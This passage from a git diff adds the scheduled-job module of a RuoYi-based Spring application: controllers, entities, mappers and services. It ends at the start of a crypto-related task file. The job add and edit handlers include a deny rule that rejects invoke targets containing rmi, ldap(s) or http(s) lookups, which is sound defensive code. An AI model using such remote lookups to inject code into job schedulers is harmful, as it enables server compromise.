org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.service.ISysJobService; +import com.ruoyi.quartz.util.CronUtils; +import com.ruoyi.quartz.util.ScheduleUtils; + +/** + * 调度任务信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/job") +public class SysJobController extends BaseController +{ + @Autowired + private ISysJobService jobService; + + /** + * 查询定时任务列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:list')") + @GetMapping("/list") + public TableDataInfo list(SysJob sysJob) + { + startPage(); + List list = jobService.selectJobList(sysJob); + return getDataTable(list); + } + + /** + * 导出定时任务列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:export')") + @Log(title = "定时任务", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, SysJob sysJob) + { + List list = jobService.selectJobList(sysJob); + ExcelUtil util = new ExcelUtil(SysJob.class); + util.exportExcel(response, list, "定时任务"); + } + + /** + * 获取定时任务详细信息 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:query')") + @GetMapping(value = "/{jobId}") + public AjaxResult getInfo(@PathVariable("jobId") Long jobId) + { + return success(jobService.selectJobById(jobId)); + } + + /** + * 新增定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:add')") + @Log(title = "定时任务", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody SysJob job) throws SchedulerException, TaskException + { + if (!CronUtils.isValid(job.getCronExpression())) + { + return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确"); + } + else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规"); + } + else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不在白名单内"); + } + job.setCreateBy(getUsername()); + return toAjax(jobService.insertJob(job)); + } + + /** + * 修改定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:edit')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody SysJob job) throws SchedulerException, TaskException + { + if (!CronUtils.isValid(job.getCronExpression())) + { + return error("修改任务'" + job.getJobName() + "'失败,Cron表达式不正确"); + } + else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串存在违规"); + } + else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不在白名单内"); + } + job.setUpdateBy(getUsername()); + return toAjax(jobService.updateJob(job)); + } + + /** + * 定时任务状态修改 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysJob job) throws SchedulerException + { + SysJob newJob = jobService.selectJobById(job.getJobId()); + newJob.setStatus(job.getStatus()); + return toAjax(jobService.changeStatus(newJob)); + } + + /** + * 定时任务立即执行一次 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping("/run") + public AjaxResult run(@RequestBody SysJob job) throws SchedulerException + { + boolean result = jobService.run(job); + return result ? success() : error("任务不存在或已过期!"); + } + + /** + * 删除定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "定时任务", businessType = BusinessType.DELETE) + @DeleteMapping("/{jobIds}") + public AjaxResult remove(@PathVariable Long[] jobIds) throws SchedulerException, TaskException + { + jobService.deleteJobByIds(jobIds); + return success(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java new file mode 100644 index 0000000..62ecbab --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java @@ -0,0 +1,92 @@ +package com.ruoyi.quartz.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 调度日志操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/jobLog") +public class SysJobLogController extends BaseController +{ + @Autowired + private ISysJobLogService jobLogService; + + /** + * 查询定时任务调度日志列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:list')") + @GetMapping("/list") + public TableDataInfo list(SysJobLog sysJobLog) + { + startPage(); + List list = jobLogService.selectJobLogList(sysJobLog); + return getDataTable(list); + } + + /** + * 导出定时任务调度日志列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:export')") + @Log(title = "任务调度日志", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, SysJobLog sysJobLog) + { + List list = jobLogService.selectJobLogList(sysJobLog); + ExcelUtil util = new ExcelUtil(SysJobLog.class); + util.exportExcel(response, list, "调度日志"); + } + + /** + * 根据调度编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:query')") + @GetMapping(value = "/{jobLogId}") + public AjaxResult getInfo(@PathVariable Long jobLogId) + { + return success(jobLogService.selectJobLogById(jobLogId)); + } + + + /** + * 删除定时任务调度日志 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "定时任务调度日志", businessType = BusinessType.DELETE) + @DeleteMapping("/{jobLogIds}") + public AjaxResult remove(@PathVariable Long[] jobLogIds) + { + return toAjax(jobLogService.deleteJobLogByIds(jobLogIds)); + } + + /** + * 清空定时任务调度日志 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "调度日志", businessType = BusinessType.CLEAN) + @DeleteMapping("/clean") + public AjaxResult clean() + { + jobLogService.cleanJobLog(); + return success(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java new file mode 100644 index 0000000..1f49695 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java @@ -0,0 +1,171 @@ +package com.ruoyi.quartz.domain; + +import java.util.Date; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.quartz.util.CronUtils; + +/** + * 定时任务调度表 sys_job + * + * @author ruoyi + */ +public class SysJob extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 任务ID */ + @Excel(name = "任务序号", cellType = ColumnType.NUMERIC) + private Long jobId; + + /** 任务名称 */ + @Excel(name = "任务名称") + private String jobName; + + /** 任务组名 */ + @Excel(name = "任务组名") + private String jobGroup; + + /** 调用目标字符串 */ + @Excel(name = "调用目标字符串") + private String invokeTarget; + + /** cron执行表达式 */ + @Excel(name = "执行表达式 ") + private String cronExpression; + + /** cron计划策略 */ + @Excel(name = "计划策略 ", readConverterExp = "0=默认,1=立即触发执行,2=触发一次执行,3=不触发立即执行") + private String misfirePolicy = ScheduleConstants.MISFIRE_DEFAULT; + + /** 是否并发执行(0允许 1禁止) */ + @Excel(name = "并发执行", readConverterExp = "0=允许,1=禁止") + private String concurrent; + + /** 任务状态(0正常 1暂停) */ + @Excel(name = "任务状态", readConverterExp = "0=正常,1=暂停") + private String status; + + public Long getJobId() + { + return jobId; + } + + public void setJobId(Long jobId) + { + this.jobId = jobId; + } + + @NotBlank(message = "任务名称不能为空") + @Size(min = 0, max = 64, message = "任务名称不能超过64个字符") + public String getJobName() + { + return jobName; + } + + public void setJobName(String jobName) + { + this.jobName = jobName; + } + + public String getJobGroup() + { + return jobGroup; + } + + public void setJobGroup(String jobGroup) + { + this.jobGroup = jobGroup; + } + + @NotBlank(message = "调用目标字符串不能为空") + @Size(min = 0, max = 500, message = "调用目标字符串长度不能超过500个字符") + public String getInvokeTarget() + { + return invokeTarget; + } + + public void setInvokeTarget(String invokeTarget) + { + this.invokeTarget = invokeTarget; + } + + @NotBlank(message = "Cron执行表达式不能为空") + @Size(min = 0, max = 255, message = "Cron执行表达式不能超过255个字符") + public String getCronExpression() + { + return cronExpression; + } + + public void setCronExpression(String cronExpression) + { + this.cronExpression = cronExpression; + } + + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + public Date getNextValidTime() + { + if (StringUtils.isNotEmpty(cronExpression)) + { + return CronUtils.getNextExecution(cronExpression); + } + return null; + } + + public String getMisfirePolicy() + { + return misfirePolicy; + } + + public void setMisfirePolicy(String misfirePolicy) + { + this.misfirePolicy = misfirePolicy; + } + + public String getConcurrent() + { + return concurrent; + } + + public void setConcurrent(String concurrent) + { + this.concurrent = concurrent; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("jobId", getJobId()) + .append("jobName", getJobName()) + .append("jobGroup", getJobGroup()) + .append("cronExpression", getCronExpression()) + .append("nextValidTime", getNextValidTime()) + .append("misfirePolicy", getMisfirePolicy()) + .append("concurrent", getConcurrent()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java new file mode 100644 index 0000000..121c035 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java @@ -0,0 +1,155 @@ +package com.ruoyi.quartz.domain; + +import java.util.Date; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 定时任务调度日志表 sys_job_log + * + * @author ruoyi + */ +public class SysJobLog extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** ID */ + @Excel(name = "日志序号") + private Long jobLogId; + + /** 任务名称 */ + @Excel(name = "任务名称") + private String jobName; + + /** 任务组名 */ + @Excel(name = "任务组名") + private String jobGroup; + + /** 调用目标字符串 */ + @Excel(name = "调用目标字符串") + private String invokeTarget; + + /** 日志信息 */ + @Excel(name = "日志信息") + private String jobMessage; + + /** 执行状态(0正常 1失败) */ + @Excel(name = "执行状态", readConverterExp = "0=正常,1=失败") + private String status; + + /** 异常信息 */ + @Excel(name = "异常信息") + private String exceptionInfo; + + /** 开始时间 */ + private Date startTime; + + /** 停止时间 */ + private Date stopTime; + + public Long getJobLogId() + { + return jobLogId; + } + + public void setJobLogId(Long jobLogId) + { + this.jobLogId = jobLogId; + } + + public String getJobName() + { + return jobName; + } + + public void setJobName(String jobName) + { + this.jobName = jobName; + } + + public String getJobGroup() + { + return jobGroup; + } + + public void setJobGroup(String jobGroup) + { + this.jobGroup = jobGroup; + } + + public String getInvokeTarget() + { + return invokeTarget; + } + + public void setInvokeTarget(String invokeTarget) + { + this.invokeTarget = invokeTarget; + } + + public String getJobMessage() + { + return jobMessage; + } + + public void setJobMessage(String jobMessage) + { + this.jobMessage = jobMessage; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getExceptionInfo() + { + return exceptionInfo; + } + + public void setExceptionInfo(String exceptionInfo) + { + this.exceptionInfo = exceptionInfo; + } + + public Date getStartTime() + { + return startTime; + } + + public void setStartTime(Date startTime) + { + this.startTime = startTime; + } + + public Date getStopTime() + { + return stopTime; + } + + public void setStopTime(Date stopTime) + { + this.stopTime = stopTime; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("jobLogId", getJobLogId()) + .append("jobName", getJobName()) + .append("jobGroup", getJobGroup()) + .append("jobMessage", getJobMessage()) + .append("status", getStatus()) + .append("exceptionInfo", getExceptionInfo()) + .append("startTime", getStartTime()) + .append("stopTime", getStopTime()) + .toString(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java new file mode 100644 index 0000000..727d916 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.quartz.mapper; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJobLog; + +/** + * 调度任务日志信息 数据层 + * + * @author ruoyi + */ +public interface SysJobLogMapper +{ + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + public List selectJobLogList(SysJobLog jobLog); + + /** + * 查询所有调度任务日志 + * + * @return 调度任务日志列表 + */ + public List selectJobLogAll(); + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + public SysJobLog selectJobLogById(Long jobLogId); + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + * @return 结果 + */ + public int insertJobLog(SysJobLog jobLog); + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的数据ID + * @return 结果 + */ + public int deleteJobLogByIds(Long[] logIds); + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + * @return 结果 + */ + public int deleteJobLogById(Long jobId); + + /** + * 清空任务日志 + */ + public void cleanJobLog(); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java new file mode 100644 index 0000000..20f45db --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java @@ -0,0 +1,67 @@ +package com.ruoyi.quartz.mapper; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 调度任务信息 数据层 + * + * @author ruoyi + */ +public interface SysJobMapper +{ + /** + * 查询调度任务日志集合 + * + * @param job 调度信息 + * @return 操作日志集合 + */ + public List selectJobList(SysJob job); + + /** + * 查询所有调度任务 + * + * @return 调度任务列表 + */ + public List selectJobAll(); + + /** + * 通过调度ID查询调度任务信息 + * + * @param jobId 调度ID + * @return 角色对象信息 + */ + public SysJob selectJobById(Long jobId); + + /** + * 通过调度ID删除调度任务信息 + * + * @param jobId 调度ID + * @return 结果 + */ + public int deleteJobById(Long jobId); + + /** + * 批量删除调度任务信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteJobByIds(Long[] ids); + + /** + * 修改调度任务信息 + * + * @param job 调度任务信息 + * @return 结果 + */ + public int updateJob(SysJob job); + + /** + * 新增调度任务信息 + * + * @param job 调度任务信息 + * @return 结果 + */ + public int insertJob(SysJob job); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java new file mode 100644 index 0000000..8546792 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java @@ -0,0 +1,56 @@ +package com.ruoyi.quartz.service; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJobLog; + +/** + * 定时任务调度日志信息信息 服务层 + * + * @author ruoyi + */ +public interface ISysJobLogService +{ + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + public List selectJobLogList(SysJobLog jobLog); + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + public SysJobLog selectJobLogById(Long jobLogId); + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + */ + public void addJobLog(SysJobLog jobLog); + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的日志ID + * @return 结果 + */ + public int deleteJobLogByIds(Long[] logIds); + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + * @return 结果 + */ + public int deleteJobLogById(Long jobId); + + /** + * 清空任务日志 + */ + public void cleanJobLog(); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java new file mode 100644 index 0000000..437ade8 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java @@ -0,0 +1,102 @@ +package com.ruoyi.quartz.service; + +import java.util.List; +import org.quartz.SchedulerException; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务调度信息信息 服务层 + * + * @author ruoyi + */ +public interface ISysJobService +{ + /** + * 获取quartz调度器的计划任务 + * + * @param job 调度信息 + * @return 调度任务集合 + */ + public List selectJobList(SysJob job); + + /** + * 通过调度任务ID查询调度信息 + * + * @param jobId 调度任务ID + * @return 调度任务对象信息 + */ + public SysJob selectJobById(Long jobId); + + /** + * 暂停任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int pauseJob(SysJob job) throws SchedulerException; + + /** + * 恢复任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int resumeJob(SysJob job) throws SchedulerException; + + /** + * 删除任务后,所对应的trigger也将被删除 + * + * @param job 调度信息 + * @return 结果 + */ + public int deleteJob(SysJob job) throws SchedulerException; + + /** + * 批量删除调度信息 + * + * @param jobIds 需要删除的任务ID + * @return 结果 + */ + public void deleteJobByIds(Long[] jobIds) throws SchedulerException; + + /** + * 任务调度状态修改 + * + * @param job 调度信息 + * @return 结果 + */ + public int changeStatus(SysJob job) throws SchedulerException; + + /** + * 立即运行任务 + * + * @param job 调度信息 + * @return 结果 + */ + public boolean run(SysJob job) throws SchedulerException; + + /** + * 新增任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int insertJob(SysJob job) throws SchedulerException, TaskException; + + /** + * 更新任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int updateJob(SysJob job) throws SchedulerException, TaskException; + + /** + * 校验cron表达式是否有效 + * + * @param cronExpression 表达式 + * @return 结果 + */ + public boolean checkCronExpressionIsValid(String cronExpression); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java new file mode 100644 index 0000000..812eed7 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java @@ -0,0 +1,87 @@ +package com.ruoyi.quartz.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.mapper.SysJobLogMapper; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 定时任务调度日志信息 服务层 + * + * @author ruoyi + */ +@Service +public class SysJobLogServiceImpl implements ISysJobLogService +{ + @Autowired + private SysJobLogMapper jobLogMapper; + + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + @Override + public List selectJobLogList(SysJobLog jobLog) + { + return jobLogMapper.selectJobLogList(jobLog); + } + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + @Override + public SysJobLog selectJobLogById(Long jobLogId) + { + return jobLogMapper.selectJobLogById(jobLogId); + } + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + */ + @Override + public void addJobLog(SysJobLog jobLog) + { + jobLogMapper.insertJobLog(jobLog); + } + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的数据ID + * @return 结果 + */ + @Override + public int deleteJobLogByIds(Long[] logIds) + { + return jobLogMapper.deleteJobLogByIds(logIds); + } + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + */ + @Override + public int deleteJobLogById(Long jobId) + { + return jobLogMapper.deleteJobLogById(jobId); + } + + /** + * 清空任务日志 + */ + @Override + public void cleanJobLog() + { + jobLogMapper.cleanJobLog(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java new file mode 100644 index 0000000..77fdbb5 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java @@ -0,0 +1,261 @@ +package com.ruoyi.quartz.service.impl; + +import java.util.List; +import javax.annotation.PostConstruct; +import org.quartz.JobDataMap; +import org.quartz.JobKey; +import org.quartz.Scheduler; +import org.quartz.SchedulerException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.mapper.SysJobMapper; +import com.ruoyi.quartz.service.ISysJobService; +import com.ruoyi.quartz.util.CronUtils; +import com.ruoyi.quartz.util.ScheduleUtils; + +/** + * 定时任务调度信息 服务层 + * + * @author ruoyi + */ +@Service +public class SysJobServiceImpl implements ISysJobService +{ + @Autowired + private Scheduler scheduler; + + @Autowired + private SysJobMapper jobMapper; + + /** + * 项目启动时,初始化定时器 主要是防止手动修改数据库导致未同步到定时任务处理(注:不能手动修改数据库ID和任务组名,否则会导致脏数据) + */ + @PostConstruct + public void init() throws SchedulerException, TaskException + { + scheduler.clear(); + List jobList = jobMapper.selectJobAll(); + for (SysJob job : jobList) + { + ScheduleUtils.createScheduleJob(scheduler, job); + } + } + + /** + * 获取quartz调度器的计划任务列表 + * + * @param job 调度信息 + * @return + */ + @Override + public List selectJobList(SysJob job) + { + return jobMapper.selectJobList(job); + } + + /** + * 通过调度任务ID查询调度信息 + * + * @param jobId 调度任务ID + * @return 调度任务对象信息 + */ + @Override + public SysJob selectJobById(Long jobId) + { + return jobMapper.selectJobById(jobId); + } + + /** + * 暂停任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int pauseJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 恢复任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int resumeJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + job.setStatus(ScheduleConstants.Status.NORMAL.getValue()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + scheduler.resumeJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 删除任务后,所对应的trigger也将被删除 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteJob(SysJob job) throws SchedulerException + { + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + int rows = jobMapper.deleteJobById(jobId); + if (rows > 0) + { + scheduler.deleteJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + return rows; + } + + /** + * 批量删除调度信息 + * + * @param jobIds 需要删除的任务ID + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public void deleteJobByIds(Long[] jobIds) throws SchedulerException + { + for (Long jobId : jobIds) + { + SysJob job = jobMapper.selectJobById(jobId); + deleteJob(job); + } + } + + /** + * 任务调度状态修改 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int changeStatus(SysJob job) throws SchedulerException + { + int rows = 0; + String status = job.getStatus(); + if (ScheduleConstants.Status.NORMAL.getValue().equals(status)) + { + rows = resumeJob(job); + } + else if (ScheduleConstants.Status.PAUSE.getValue().equals(status)) + { + rows = pauseJob(job); + } + return rows; + } + + /** + * 立即运行任务 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean run(SysJob job) throws SchedulerException + { + boolean result = false; + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + SysJob properties = selectJobById(job.getJobId()); + // 参数 + JobDataMap dataMap = new JobDataMap(); + dataMap.put(ScheduleConstants.TASK_PROPERTIES, properties); + JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup); + if (scheduler.checkExists(jobKey)) + { + result = true; + scheduler.triggerJob(jobKey, dataMap); + } + return result; + } + + /** + * 新增任务 + * + * @param job 调度信息 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int insertJob(SysJob job) throws SchedulerException, TaskException + { + job.setStatus(ScheduleConstants.Status.PAUSE.getValue()); + int rows = jobMapper.insertJob(job); + if (rows > 0) + { + ScheduleUtils.createScheduleJob(scheduler, job); + } + return rows; + } + + /** + * 更新任务的时间表达式 + * + * @param job 调度信息 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int updateJob(SysJob job) throws SchedulerException, TaskException + { + SysJob properties = selectJobById(job.getJobId()); + int rows = jobMapper.updateJob(job); + if (rows > 0) + { + updateSchedulerJob(job, properties.getJobGroup()); + } + return rows; + } + + /** + * 更新任务 + * + * @param job 任务对象 + * @param jobGroup 任务组名 + */ + public void updateSchedulerJob(SysJob job, String jobGroup) throws SchedulerException, TaskException + { + Long jobId = job.getJobId(); + // 判断是否存在 + JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup); + if (scheduler.checkExists(jobKey)) + { + // 防止创建时存在数据问题 先移除,然后在执行创建操作 + scheduler.deleteJob(jobKey); + } + ScheduleUtils.createScheduleJob(scheduler, job); + } + + /** + * 校验cron表达式是否有效 + * + * @param cronExpression 表达式 + * @return 结果 + */ + @Override + public boolean checkCronExpressionIsValid(String cronExpression) + { + return CronUtils.isValid(cronExpression); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java new file mode 100644 index 0000000..e0a3f0e --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java @@ -0,0 +1,51 @@ +package com.ruoyi.quartz.task; + +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.mapper.TCollectionOrderMapper; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import 